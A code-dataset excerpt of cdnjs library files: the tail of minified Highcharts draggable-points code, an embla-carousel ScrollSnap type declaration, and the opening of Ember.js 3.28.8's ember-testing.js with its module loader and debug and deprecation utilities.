c)}}k.attr(p)}else c.dragGuideBox.translate(g?h:0,k?z:0);b.prevdX=h;b.prevdY=z}))}}}function B(a,b){var c=b.dragDropData;if(c&&c.isDragging&&c.draggedPastSensitivity){var d=c.point,f=c.newPoints,e=I(f),g=1===e?J(f):null;b.dragHandles&&b.hideDragHandles();a.preventDefault();b.cancelClick=!0;d.firePointEvent("drop",{origin:c.origin,chartX:a.chartX,chartY:a.chartY,newPoints:f,numNewPoints:e,newPoint:g&&g.newValues,newPointId:g&&g.point.id},function(){G(b)})}delete b.dragDropData;b.dragGuideBox&&(b.dragGuideBox.destroy(),
delete b.dragGuideBox)}function U(a){var b=a.container,c=l.doc;N(a)&&(y(b,["mousedown","touchstart"],function(b){b=x(b,a);var c=a.hoverPoint,d=q(c&&c.series.options.dragDrop,c&&c.options.dragDrop),e=d.draggableX||!1;d=d.draggableY||!1;a.cancelClick=!1;!e&&!d||a.zoomOrPanKeyPressed(b)||a.hasDraggedAnnotation||(a.dragDropData&&a.dragDropData.isDragging?B(b,a):c&&O(c)&&(a.mouseIsDown=!1,F(b,c),c.firePointEvent("dragStart",b)))}),y(b,["mousemove","touchmove"],function(b){T(x(b,a),a)},{passive:!1}),t(b,
"mouseleave",function(b){B(x(b,a),a)}),a.unbindDragDropMouseUp=y(c,["mouseup","touchend"],function(b){B(x(b,a),a)},{passive:!1}),a.hasAddedDragDropEvents=!0,t(a,"destroy",function(){a.unbindDragDropMouseUp&&a.unbindDragDropMouseUp()}))}var g=p.seriesTypes,t=m.addEvent,V=m.clamp,q=m.merge,r=m.objectEach,w=m.pick;p=function(a){a=a.shapeArgs||a.graphic.getBBox();var b=a.r||0,c=a.height/2;return[["M",0,b],["L",0,c-5],["A",1,1,0,0,0,0,c+5],["A",1,1,0,0,0,0,c-5],["M",0,c+5],["L",0,a.height-b]]};m=A.prototype.dragDropProps=
{x:{axis:"x",move:!0},y:{axis:"y",move:!0}};g.flags&&(g.flags.prototype.dragDropProps=m);var h=g.column.prototype.dragDropProps={x:{axis:"x",move:!0},y:{axis:"y",move:!1,resize:!0,beforeResize:function(a,b,c){var d=c.series.translatedThreshold,f=a.attr("y");b.y>=c.series.options.threshold?(b=a.attr("height"),a.attr({height:Math.max(0,Math.round(b+(d?d-(f+b):0)))})):a.attr({y:Math.round(f+(d?d-f:0))})},resizeSide:function(a,b){var c=b.series.chart.dragHandles;a=a.y>=(b.series.options.threshold||0)?
"top":"bottom";b=C(a);c[b]&&(c[b].destroy(),delete c[b]);return a},handlePositioner:function(a){var b=a.shapeArgs||a.graphic.getBBox();return{x:b.x,y:a.y>=(a.series.options.threshold||0)?b.y:b.y+b.height}},handleFormatter:function(a){var b=a.shapeArgs||{};a=b.r||0;b=b.width||0;var c=b/2;return[["M",a,0],["L",c-5,0],["A",1,1,0,0,0,c+5,0],["A",1,1,0,0,0,c-5,0],["M",c+5,0],["L",b-a,0]]}}};g.bullet&&(g.bullet.prototype.dragDropProps={x:h.x,y:h.y,target:{optionName:"draggableTarget",axis:"y",move:!0,resize:!0,
resizeSide:"top",handlePositioner:function(a){var b=a.targetGraphic.getBBox();return{x:a.barX,y:b.y+b.height/2}},handleFormatter:h.y.handleFormatter}});g.columnrange&&(g.columnrange.prototype.dragDropProps={x:{axis:"x",move:!0},low:{optionName:"draggableLow",axis:"y",move:!0,resize:!0,resizeSide:"bottom",handlePositioner:function(a){a=a.shapeArgs||a.graphic.getBBox();return{x:a.x,y:a.y+a.height}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.high}},high:{optionName:"draggableHigh",
axis:"y",move:!0,resize:!0,resizeSide:"top",handlePositioner:function(a){a=a.shapeArgs||a.graphic.getBBox();return{x:a.x,y:a.y}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a>=b.low}}});g.boxplot&&(g.boxplot.prototype.dragDropProps={x:h.x,low:{optionName:"draggableLow",axis:"y",move:!0,resize:!0,resizeSide:"bottom",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.lowPlot}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.q1}},q1:{optionName:"draggableQ1",
axis:"y",move:!0,resize:!0,resizeSide:"bottom",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.q1Plot}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.median&&a>=b.low}},median:{axis:"y",move:!0},q3:{optionName:"draggableQ3",axis:"y",move:!0,resize:!0,resizeSide:"top",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.q3Plot}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.high&&a>=b.median}},high:{optionName:"draggableHigh",axis:"y",
move:!0,resize:!0,resizeSide:"top",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.highPlot}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a>=b.q3}}});g.ohlc&&(g.ohlc.prototype.dragDropProps={x:h.x,low:{optionName:"draggableLow",axis:"y",move:!0,resize:!0,resizeSide:"bottom",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.plotLow}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.open&&a<=b.close}},high:{optionName:"draggableHigh",
axis:"y",move:!0,resize:!0,resizeSide:"top",handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.plotHigh}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a>=b.open&&a>=b.close}},open:{optionName:"draggableOpen",axis:"y",move:!0,resize:!0,resizeSide:function(a){return a.open>=a.close?"top":"bottom"},handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.plotOpen}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.high&&a>=b.low}},close:{optionName:"draggableClose",
axis:"y",move:!0,resize:!0,resizeSide:function(a){return a.open>=a.close?"bottom":"top"},handlePositioner:function(a){return{x:a.shapeArgs.x,y:a.plotClose}},handleFormatter:h.y.handleFormatter,propValidate:function(a,b){return a<=b.high&&a>=b.low}}});if(g.arearange){m=g.columnrange.prototype.dragDropProps;var K=function(a){a=a.graphic?a.graphic.getBBox().width/2+1:4;return[["M",0-a,0],["a",a,a,0,1,0,2*a,0],["a",a,a,0,1,0,-2*a,0]]};g.arearange.prototype.dragDropProps={x:m.x,low:{optionName:"draggableLow",
axis:"y",move:!0,resize:!0,resizeSide:"bottom",handlePositioner:function(a){return(a=a.lowerGraphic&&a.lowerGraphic.getBBox())?{x:a.x+a.width/2,y:a.y+a.height/2}:{x:-999,y:-999}},handleFormatter:K,propValidate:m.low.propValidate},high:{optionName:"draggableHigh",axis:"y",move:!0,resize:!0,resizeSide:"top",handlePositioner:function(a){return(a=a.upperGraphic&&a.upperGraphic.getBBox())?{x:a.x+a.width/2,y:a.y+a.height/2}:{x:-999,y:-999}},handleFormatter:K,propValidate:m.high.propValidate}}}g.waterfall&&
(g.waterfall.prototype.dragDropProps={x:h.x,y:q(h.y,{handleFormatter:function(a){return a.isSum||a.isIntermediateSum?null:h.y.handleFormatter(a)}})});if(g.xrange){var L=function(a,b){var c=a.series,d=c.xAxis,f=c.yAxis,e=c.chart.inverted;b=d.toPixels(a[b],!0);var g=f.toPixels(a.y,!0);a=c.columnMetrics?c.columnMetrics.offset:-a.shapeArgs.height/2;e&&(b=d.len-b,g=f.len-g);return{x:Math.round(b),y:Math.round(g+a)}};p=g.xrange.prototype.dragDropProps={y:{axis:"y",move:!0},x:{optionName:"draggableX1",axis:"x",
move:!0,resize:!0,resizeSide:"left",handlePositioner:function(a){return L(a,"x")},handleFormatter:p,propValidate:function(a,b){return a<=b.x2}},x2:{optionName:"draggableX2",axis:"x",move:!0,resize:!0,resizeSide:"right",handlePositioner:function(a){return L(a,"x2")},handleFormatter:p,propValidate:function(a,b){return a>=b.x}}};g.gantt&&(g.gantt.prototype.dragDropProps={y:p.y,start:q(p.x,{optionName:"draggableStart",validateIndividualDrag:function(a){return!a.milestone}}),end:q(p.x2,{optionName:"draggableEnd",
validateIndividualDrag:function(a){return!a.milestone}})})}"gauge pie sunburst wordcloud sankey histogram pareto vector windbarb treemap bellcurve sma map mapline".split(" ").forEach(function(a){g[a]&&(g[a].prototype.dragDropProps=null)});var W={"default":{className:"highcharts-drag-box-default",lineWidth:1,lineColor:"#888",color:"rgba(0, 0, 0, 0.1)",cursor:"move",zIndex:900}},X={className:"highcharts-drag-handle",color:"#fff",lineColor:"rgba(0, 0, 0, 0.6)",lineWidth:1,zIndex:901};e.prototype.setGuideBoxState=
function(a,b){var c=this.dragGuideBox;b=q(W,b);a=q(b["default"],b[a]);return c.attr({className:a.className,stroke:a.lineColor,strokeWidth:a.lineWidth,fill:a.color,cursor:a.cursor,zIndex:a.zIndex}).css({pointerEvents:"none"})};v.prototype.getDropValues=function(a,b,c){var d=this,f=d.series,e=q(f.options.dragDrop,d.options.dragDrop),g={},E=a.points[d.id],h;for(h in c)if(Object.hasOwnProperty.call(c,h)){if("undefined"!==typeof m){var m=!1;break}m=!0}r(c,function(a,c){var h=E[c],n=f[a.axis+"Axis"];n=
n.toValue((n.horiz?b.chartX:b.chartY)+E[c+"Offset"]);var k=a.axis.toUpperCase(),l=f[k.toLowerCase()+"Axis"].categories?1:0;l=w(e["dragPrecision"+k],l);var p=w(e["dragMin"+k],-Infinity);k=w(e["dragMax"+k],Infinity);l&&(n=Math.round(n/l)*l);n=V(n,p,k);m&&a.propValidate&&!a.propValidate(n,d)||"undefined"===typeof h||(g[c]=n)});return g};A.prototype.getGuideBox=function(a){var b=this.chart,c=Infinity,d=-Infinity,f=Infinity,e=-Infinity,g;a.forEach(function(a){(a=a.graphic&&a.graphic.getBBox()||a.shapeArgs)&&
(a.width||a.height||a.x||a.y)&&(g=!0,c=Math.min(a.x,c),d=Math.max(a.x+a.width,d),f=Math.min(a.y,f),e=Math.max(a.y+a.height,e))});return g?b.renderer.rect(c,f,d-c,e-f):b.renderer.g()};v.prototype.showDragHandles=function(){var a=this,b=a.series,c=b.chart,d=c.renderer,f=q(b.options.dragDrop,a.options.dragDrop);r(b.dragDropProps,function(e,g){var h=q(X,e.handleOptions,f.dragHandle),l={className:h.className,"stroke-width":h.lineWidth,fill:h.color,stroke:h.lineColor},m=h.pathFormatter||e.handleFormatter,
k=e.handlePositioner,n=e.validateIndividualDrag?e.validateIndividualDrag(a):!0;e.resize&&n&&e.resizeSide&&m&&(f["draggable"+e.axis.toUpperCase()]||f[e.optionName])&&!1!==f[e.optionName]&&(c.dragHandles||(c.dragHandles={group:d.g("drag-drop-handles").add(b.markerGroup||b.group)}),c.dragHandles.point=a.id,k=k(a),l.d=m=m(a),!m||0>k.x||0>k.y||(l.cursor=h.cursor||"x"===e.axis!==!!c.inverted?"ew-resize":"ns-resize",(h=c.dragHandles[e.optionName])||(h=c.dragHandles[e.optionName]=d.path().add(c.dragHandles.group)),
h.translate(k.x,k.y).attr(l),y(h.element,["touchstart","mousedown"],function(b){b=x(b,c);var d=a.series.chart;d.zoomOrPanKeyPressed(b)||(d.mouseIsDown=!1,F(b,a),d.dragDropData.updateProp=b.updateProp=g,a.firePointEvent("dragStart",b),b.stopPropagation(),b.preventDefault())},{passive:!1}),t(c.dragHandles.group.element,"mouseover",function(){c.dragDropData=c.dragDropData||{};c.dragDropData.isHoveringHandle=a.id}),y(c.dragHandles.group.element,["touchend","mouseout"],function(){var b=a.series.chart;
b.dragDropData&&a.id===b.dragDropData.isHoveringHandle&&delete b.dragDropData.isHoveringHandle;b.hoverPoint||H(a)})))})};e.prototype.hideDragHandles=function(){this.dragHandles&&(r(this.dragHandles,function(a,b){"group"!==b&&a.destroy&&a.destroy()}),this.dragHandles.group&&this.dragHandles.group.destroy&&this.dragHandles.group.destroy(),delete this.dragHandles)};t(v,"mouseOver",function(){var a=this;setTimeout(function(){var b=a.series,c=b&&b.chart,d=c&&c.dragDropData,e=c&&c.is3d&&c.is3d();!c||d&&
d.isDragging&&d.draggedPastSensitivity||c.isDragDropAnimating||!b.options.dragDrop||e||(c.dragHandles&&c.hideDragHandles(),a.showDragHandles())},12)});t(v,"mouseOut",function(){var a=this;setTimeout(function(){a.series&&H(a)},10)});t(v,"remove",function(){var a=this.series.chart,b=a.dragHandles;b&&b.point===this.id&&a.hideDragHandles()});e.prototype.zoomOrPanKeyPressed=function(a){var b=this.userOptions.chart||{},c=b.panKey&&b.panKey+"Key";return a[b.zoomKey&&b.zoomKey+"Key"]||a[c]};t(e,"render",
function(){this.hasAddedDragDropEvents||U(this)});""});l(e,"masters/modules/draggable-points.src.js",[],function(){})});
//# sourceMappingURL=draggable-points.js.map
|
mit
|
cdnjs/cdnjs
|
ajax/libs/embla-carousel/2.8.0/components/scrollSnap.d.ts
|
309
|
import { Alignment } from './alignment';
declare type Params = {
snapSizes: number[];
alignment: Alignment;
loop: boolean;
};
export declare type ScrollSnap = {
measure: (snapSize: number, index: number) => number;
};
export declare function ScrollSnap(params: Params): ScrollSnap;
export {};
|
mit
|
cdnjs/cdnjs
|
ajax/libs/ember.js/3.28.8/ember-testing.js
|
80544
|
(function() {
/*!
* @overview Ember - JavaScript Application Framework
* @copyright Copyright 2011-2021 Tilde Inc. and contributors
* Portions Copyright 2006-2011 Strobe Inc.
* Portions Copyright 2008-2011 Apple Inc. All rights reserved.
* @license Licensed under MIT license
* See https://raw.github.com/emberjs/ember.js/master/LICENSE
* @version 3.28.8
*/
/* eslint-disable no-var */
/* globals global globalThis self */
var define, require;
(function () {
var globalObj = typeof globalThis !== 'undefined' ? globalThis : typeof self !== 'undefined' ? self : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : null;
if (globalObj === null) {
throw new Error('unable to locate global object');
}
if (typeof globalObj.define === 'function' && typeof globalObj.require === 'function') {
define = globalObj.define;
require = globalObj.require;
return;
}
var registry = Object.create(null);
var seen = Object.create(null);
function missingModule(name, referrerName) {
if (referrerName) {
throw new Error('Could not find module ' + name + ' required by: ' + referrerName);
} else {
throw new Error('Could not find module ' + name);
}
}
function internalRequire(_name, referrerName) {
var name = _name;
var mod = registry[name];
if (!mod) {
name = name + '/index';
mod = registry[name];
}
var exports = seen[name];
if (exports !== undefined) {
return exports;
}
exports = seen[name] = {};
if (!mod) {
missingModule(_name, referrerName);
}
var deps = mod.deps;
var callback = mod.callback;
var reified = new Array(deps.length);
for (var i = 0; i < deps.length; i++) {
if (deps[i] === 'exports') {
reified[i] = exports;
} else if (deps[i] === 'require') {
reified[i] = require;
} else {
reified[i] = require(deps[i], name);
}
}
callback.apply(this, reified);
return exports;
}
require = function (name) {
return internalRequire(name, null);
}; // eslint-disable-next-line no-unused-vars
define = function (name, deps, callback) {
registry[name] = {
deps: deps,
callback: callback
};
}; // setup `require` module
require['default'] = require;
require.has = function registryHas(moduleName) {
return Boolean(registry[moduleName]) || Boolean(registry[moduleName + '/index']);
};
require._eak_seen = require.entries = registry;
})();
define("@ember/debug/index", ["exports", "@ember/-internals/browser-environment", "@ember/error", "@ember/debug/lib/deprecate", "@ember/debug/lib/testing", "@ember/debug/lib/warn", "@ember/-internals/utils", "@ember/debug/lib/capture-render-tree"], function (_exports, _browserEnvironment, _error, _deprecate2, _testing, _warn2, _utils, _captureRenderTree) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
Object.defineProperty(_exports, "registerDeprecationHandler", {
enumerable: true,
get: function () {
return _deprecate2.registerHandler;
}
});
Object.defineProperty(_exports, "isTesting", {
enumerable: true,
get: function () {
return _testing.isTesting;
}
});
Object.defineProperty(_exports, "setTesting", {
enumerable: true,
get: function () {
return _testing.setTesting;
}
});
Object.defineProperty(_exports, "registerWarnHandler", {
enumerable: true,
get: function () {
return _warn2.registerHandler;
}
});
Object.defineProperty(_exports, "inspect", {
enumerable: true,
get: function () {
return _utils.inspect;
}
});
Object.defineProperty(_exports, "captureRenderTree", {
enumerable: true,
get: function () {
return _captureRenderTree.default;
}
});
_exports._warnIfUsingStrippedFeatureFlags = _exports.getDebugFunction = _exports.setDebugFunction = _exports.deprecateFunc = _exports.runInDebug = _exports.debugFreeze = _exports.debugSeal = _exports.deprecate = _exports.debug = _exports.warn = _exports.info = _exports.assert = void 0;
// These are the default production build versions:
var noop = () => {};
var assert = noop;
_exports.assert = assert;
var info = noop;
_exports.info = info;
var warn = noop;
_exports.warn = warn;
var debug = noop;
_exports.debug = debug;
var deprecate = noop;
_exports.deprecate = deprecate;
var debugSeal = noop;
_exports.debugSeal = debugSeal;
var debugFreeze = noop;
_exports.debugFreeze = debugFreeze;
var runInDebug = noop;
_exports.runInDebug = runInDebug;
var setDebugFunction = noop;
_exports.setDebugFunction = setDebugFunction;
var getDebugFunction = noop;
_exports.getDebugFunction = getDebugFunction;
var deprecateFunc = function () {
return arguments[arguments.length - 1];
};
_exports.deprecateFunc = deprecateFunc;
if (true
/* DEBUG */
) {
_exports.setDebugFunction = setDebugFunction = function (type, callback) {
switch (type) {
case 'assert':
return _exports.assert = assert = callback;
case 'info':
return _exports.info = info = callback;
case 'warn':
return _exports.warn = warn = callback;
case 'debug':
return _exports.debug = debug = callback;
case 'deprecate':
return _exports.deprecate = deprecate = callback;
case 'debugSeal':
return _exports.debugSeal = debugSeal = callback;
case 'debugFreeze':
return _exports.debugFreeze = debugFreeze = callback;
case 'runInDebug':
return _exports.runInDebug = runInDebug = callback;
case 'deprecateFunc':
return _exports.deprecateFunc = deprecateFunc = callback;
}
};
_exports.getDebugFunction = getDebugFunction = function (type) {
switch (type) {
case 'assert':
return assert;
case 'info':
return info;
case 'warn':
return warn;
case 'debug':
return debug;
case 'deprecate':
return deprecate;
case 'debugSeal':
return debugSeal;
case 'debugFreeze':
return debugFreeze;
case 'runInDebug':
return runInDebug;
case 'deprecateFunc':
return deprecateFunc;
}
};
}
/**
@module @ember/debug
*/
if (true
/* DEBUG */
) {
/**
Verify that a certain expectation is met, or throw a exception otherwise.
This is useful for communicating assumptions in the code to other human
readers as well as catching bugs that accidentally violates these
expectations.
Assertions are removed from production builds, so they can be freely added
for documentation and debugging purposes without worries of incuring any
performance penalty. However, because of that, they should not be used for
checks that could reasonably fail during normal usage. Furthermore, care
should be taken to avoid accidentally relying on side-effects produced from
evaluating the condition itself, since the code will not run in production.
```javascript
import { assert } from '@ember/debug';
// Test for truthiness
assert('Must pass a string', typeof str === 'string');
// Fail unconditionally
assert('This code path should never be run');
```
@method assert
@static
@for @ember/debug
@param {String} description Describes the expectation. This will become the
text of the Error thrown if the assertion fails.
@param {any} condition Must be truthy for the assertion to pass. If
falsy, an exception will be thrown.
@public
@since 1.0.0
*/
setDebugFunction('assert', function assert(desc, test) {
if (!test) {
throw new _error.default(`Assertion Failed: ${desc}`);
}
});
/**
Display a debug notice.
Calls to this function are not invoked in production builds.
```javascript
import { debug } from '@ember/debug';
debug('I\'m a debug notice!');
```
@method debug
@for @ember/debug
@static
@param {String} message A debug message to display.
@public
*/
setDebugFunction('debug', function debug(message) {
/* eslint-disable no-console */
if (console.debug) {
console.debug(`DEBUG: ${message}`);
} else {
console.log(`DEBUG: ${message}`);
}
/* eslint-ensable no-console */
});
/**
Display an info notice.
Calls to this function are removed from production builds, so they can be
freely added for documentation and debugging purposes without worries of
incuring any performance penalty.
@method info
@private
*/
setDebugFunction('info', function info() {
console.info(...arguments);
/* eslint-disable-line no-console */
});
/**
@module @ember/debug
@public
*/
/**
Alias an old, deprecated method with its new counterpart.
Display a deprecation warning with the provided message and a stack trace
(Chrome and Firefox only) when the assigned method is called.
Calls to this function are removed from production builds, so they can be
freely added for documentation and debugging purposes without worries of
incuring any performance penalty.
```javascript
import { deprecateFunc } from '@ember/debug';
Ember.oldMethod = deprecateFunc('Please use the new, updated method', options, Ember.newMethod);
```
@method deprecateFunc
@static
@for @ember/debug
@param {String} message A description of the deprecation.
@param {Object} [options] The options object for `deprecate`.
@param {Function} func The new function called to replace its deprecated counterpart.
@return {Function} A new function that wraps the original function with a deprecation warning
@private
*/
setDebugFunction('deprecateFunc', function deprecateFunc(...args) {
if (args.length === 3) {
var [message, options, func] = args;
return function (...args) {
deprecate(message, false, options);
return func.apply(this, args);
};
} else {
var [_message, _func] = args;
return function () {
deprecate(_message);
return _func.apply(this, arguments);
};
}
});
/**
@module @ember/debug
@public
*/
/**
Run a function meant for debugging.
Calls to this function are removed from production builds, so they can be
freely added for documentation and debugging purposes without worries of
incuring any performance penalty.
```javascript
import Component from '@ember/component';
import { runInDebug } from '@ember/debug';
runInDebug(() => {
Component.reopen({
didInsertElement() {
console.log("I'm happy");
}
});
});
```
@method runInDebug
@for @ember/debug
@static
@param {Function} func The function to be executed.
@since 1.5.0
@public
*/
setDebugFunction('runInDebug', function runInDebug(func) {
func();
});
setDebugFunction('debugSeal', function debugSeal(obj) {
Object.seal(obj);
});
setDebugFunction('debugFreeze', function debugFreeze(obj) {
// re-freezing an already frozen object introduces a significant
// performance penalty on Chrome (tested through 59).
//
// See: https://bugs.chromium.org/p/v8/issues/detail?id=6450
if (!Object.isFrozen(obj)) {
Object.freeze(obj);
}
});
setDebugFunction('deprecate', _deprecate2.default);
setDebugFunction('warn', _warn2.default);
}
var _warnIfUsingStrippedFeatureFlags;
_exports._warnIfUsingStrippedFeatureFlags = _warnIfUsingStrippedFeatureFlags;
if (true
/* DEBUG */
&& !(0, _testing.isTesting)()) {
if (typeof window !== 'undefined' && (_browserEnvironment.isFirefox || _browserEnvironment.isChrome) && window.addEventListener) {
window.addEventListener('load', () => {
if (document.documentElement && document.documentElement.dataset && !document.documentElement.dataset.emberExtension) {
var downloadURL;
if (_browserEnvironment.isChrome) {
downloadURL = 'https://chrome.google.com/webstore/detail/ember-inspector/bmdblncegkenkacieihfhpjfppoconhi';
} else if (_browserEnvironment.isFirefox) {
downloadURL = 'https://addons.mozilla.org/en-US/firefox/addon/ember-inspector/';
}
debug(`For more advanced debugging, install the Ember Inspector from ${downloadURL}`);
}
}, false);
}
}
});
define("@ember/debug/lib/capture-render-tree", ["exports", "@glimmer/util"], function (_exports, _util) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = captureRenderTree;
/**
@module @ember/debug
*/
/**
Ember Inspector calls this function to capture the current render tree.
In production mode, this requires turning on `ENV._DEBUG_RENDER_TREE`
before loading Ember.
@private
@static
@method captureRenderTree
@for @ember/debug
@param app {ApplicationInstance} An `ApplicationInstance`.
@since 3.14.0
*/
function captureRenderTree(app) {
var renderer = (0, _util.expect)(app.lookup('renderer:-dom'), `BUG: owner is missing renderer`);
return renderer.debugRenderTree.capture();
}
});
define("@ember/debug/lib/deprecate", ["exports", "@ember/-internals/environment", "@ember/debug/index", "@ember/debug/lib/handlers"], function (_exports, _environment, _index, _handlers) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.SINCE_MISSING_DEPRECATIONS = _exports.FOR_MISSING_DEPRECATIONS = _exports.missingOptionsSinceDeprecation = _exports.missingOptionsForDeprecation = _exports.missingOptionsUntilDeprecation = _exports.missingOptionsIdDeprecation = _exports.missingOptionsDeprecation = _exports.registerHandler = _exports.default = void 0;
/**
@module @ember/debug
@public
*/
/**
Allows for runtime registration of handler functions that override the default deprecation behavior.
Deprecations are invoked by calls to [@ember/debug/deprecate](/ember/release/classes/@ember%2Fdebug/methods/deprecate?anchor=deprecate).
The following example demonstrates its usage by registering a handler that throws an error if the
message contains the word "should", otherwise defers to the default handler.
```javascript
import { registerDeprecationHandler } from '@ember/debug';
registerDeprecationHandler((message, options, next) => {
if (message.indexOf('should') !== -1) {
throw new Error(`Deprecation message with should: ${message}`);
} else {
// defer to whatever handler was registered before this one
next(message, options);
}
});
```
The handler function takes the following arguments:
<ul>
<li> <code>message</code> - The message received from the deprecation call.</li>
<li> <code>options</code> - An object passed in with the deprecation call containing additional information including:</li>
<ul>
<li> <code>id</code> - An id of the deprecation in the form of <code>package-name.specific-deprecation</code>.</li>
<li> <code>until</code> - The Ember version number the feature and deprecation will be removed in.</li>
</ul>
<li> <code>next</code> - A function that calls into the previously registered handler.</li>
</ul>
@public
@static
@method registerDeprecationHandler
@for @ember/debug
@param handler {Function} A function to handle deprecation calls.
@since 2.1.0
*/
var registerHandler = () => {};
_exports.registerHandler = registerHandler;
var missingOptionsDeprecation;
_exports.missingOptionsDeprecation = missingOptionsDeprecation;
var missingOptionsIdDeprecation;
_exports.missingOptionsIdDeprecation = missingOptionsIdDeprecation;
var missingOptionsUntilDeprecation;
_exports.missingOptionsUntilDeprecation = missingOptionsUntilDeprecation;
var missingOptionsForDeprecation = () => '';
_exports.missingOptionsForDeprecation = missingOptionsForDeprecation;
var missingOptionsSinceDeprecation = () => '';
_exports.missingOptionsSinceDeprecation = missingOptionsSinceDeprecation;
var deprecate = () => {};
var FOR_MISSING_DEPRECATIONS = new Set();
_exports.FOR_MISSING_DEPRECATIONS = FOR_MISSING_DEPRECATIONS;
var SINCE_MISSING_DEPRECATIONS = new Set();
_exports.SINCE_MISSING_DEPRECATIONS = SINCE_MISSING_DEPRECATIONS;
if (true
/* DEBUG */
) {
_exports.registerHandler = registerHandler = function registerHandler(handler) {
(0, _handlers.registerHandler)('deprecate', handler);
};
var formatMessage = function formatMessage(_message, options) {
var message = _message;
if (options && options.id) {
message = message + ` [deprecation id: ${options.id}]`;
}
if (options && options.url) {
message += ` See ${options.url} for more details.`;
}
return message;
};
registerHandler(function logDeprecationToConsole(message, options) {
var updatedMessage = formatMessage(message, options);
console.warn(`DEPRECATION: ${updatedMessage}`); // eslint-disable-line no-console
});
var captureErrorForStack;
if (new Error().stack) {
captureErrorForStack = () => new Error();
} else {
captureErrorForStack = () => {
try {
__fail__.fail();
} catch (e) {
return e;
}
};
}
registerHandler(function logDeprecationStackTrace(message, options, next) {
if (_environment.ENV.LOG_STACKTRACE_ON_DEPRECATION) {
var stackStr = '';
var error = captureErrorForStack();
var stack;
if (error.stack) {
if (error['arguments']) {
// Chrome
stack = error.stack.replace(/^\s+at\s+/gm, '').replace(/^([^(]+?)([\n$])/gm, '{anonymous}($1)$2').replace(/^Object.<anonymous>\s*\(([^)]+)\)/gm, '{anonymous}($1)').split('\n');
stack.shift();
} else {
// Firefox
stack = error.stack.replace(/(?:\n@:0)?\s+$/m, '').replace(/^\(/gm, '{anonymous}(').split('\n');
}
stackStr = `\n ${stack.slice(2).join('\n ')}`;
}
var updatedMessage = formatMessage(message, options);
console.warn(`DEPRECATION: ${updatedMessage}${stackStr}`); // eslint-disable-line no-console
} else {
next(message, options);
}
});
registerHandler(function raiseOnDeprecation(message, options, next) {
if (_environment.ENV.RAISE_ON_DEPRECATION) {
var updatedMessage = formatMessage(message);
throw new Error(updatedMessage);
} else {
next(message, options);
}
});
_exports.missingOptionsDeprecation = missingOptionsDeprecation = 'When calling `deprecate` you ' + 'must provide an `options` hash as the third parameter. ' + '`options` should include `id` and `until` properties.';
_exports.missingOptionsIdDeprecation = missingOptionsIdDeprecation = 'When calling `deprecate` you must provide `id` in options.';
_exports.missingOptionsUntilDeprecation = missingOptionsUntilDeprecation = 'When calling `deprecate` you must provide `until` in options.';
_exports.missingOptionsForDeprecation = missingOptionsForDeprecation = id => {
return `When calling \`deprecate\` you must provide \`for\` in options. Missing options.for in "${id}" deprecation`;
};
_exports.missingOptionsSinceDeprecation = missingOptionsSinceDeprecation = id => {
return `When calling \`deprecate\` you must provide \`since\` in options. Missing options.since in "${id}" deprecation`;
};
/**
@module @ember/debug
@public
*/
/**
Display a deprecation warning with the provided message and a stack trace
(Chrome and Firefox only).
* In a production build, this method is defined as an empty function (NOP).
Uses of this method in Ember itself are stripped from the ember.prod.js build.
@method deprecate
@for @ember/debug
@param {String} message A description of the deprecation.
@param {Boolean} test A boolean. If falsy, the deprecation will be displayed.
@param {Object} options
@param {String} options.id A unique id for this deprecation. The id can be
used by Ember debugging tools to change the behavior (raise, log or silence)
for that specific deprecation. The id should be namespaced by dots, e.g.
"view.helper.select".
@param {string} options.until The version of Ember when this deprecation
warning will be removed.
@param {String} options.for A namespace for the deprecation, usually the package name
@param {Object} options.since Describes when the deprecation became available and enabled.
@param {String} [options.url] An optional url to the transition guide on the
emberjs.com website.
@static
@public
@since 1.0.0
*/
deprecate = function deprecate(message, test, options) {
(0, _index.assert)(missingOptionsDeprecation, Boolean(options && (options.id || options.until)));
(0, _index.assert)(missingOptionsIdDeprecation, Boolean(options.id));
(0, _index.assert)(missingOptionsUntilDeprecation, Boolean(options.until));
if (!options.for && !FOR_MISSING_DEPRECATIONS.has(options.id)) {
FOR_MISSING_DEPRECATIONS.add(options.id);
deprecate(missingOptionsForDeprecation(options.id), Boolean(options.for), {
id: 'ember-source.deprecation-without-for',
until: '4.0.0',
for: 'ember-source',
since: {
enabled: '3.24.0'
}
});
}
if (!options.since && !SINCE_MISSING_DEPRECATIONS.has(options.id)) {
SINCE_MISSING_DEPRECATIONS.add(options.id);
deprecate(missingOptionsSinceDeprecation(options.id), Boolean(options.since), {
id: 'ember-source.deprecation-without-since',
until: '4.0.0',
for: 'ember-source',
since: {
enabled: '3.24.0'
}
});
}
(0, _handlers.invoke)('deprecate', message, test, options);
};
}
var _default = deprecate;
_exports.default = _default;
});
define("@ember/debug/lib/handlers", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.invoke = _exports.registerHandler = _exports.HANDLERS = void 0;
var HANDLERS = {};
_exports.HANDLERS = HANDLERS;
var registerHandler = () => {};
_exports.registerHandler = registerHandler;
var invoke = () => {};
_exports.invoke = invoke;
if (true
/* DEBUG */
) {
_exports.registerHandler = registerHandler = function registerHandler(type, callback) {
var nextHandler = HANDLERS[type] || (() => {});
HANDLERS[type] = (message, options) => {
callback(message, options, nextHandler);
};
};
_exports.invoke = invoke = function invoke(type, message, test, options) {
if (test) {
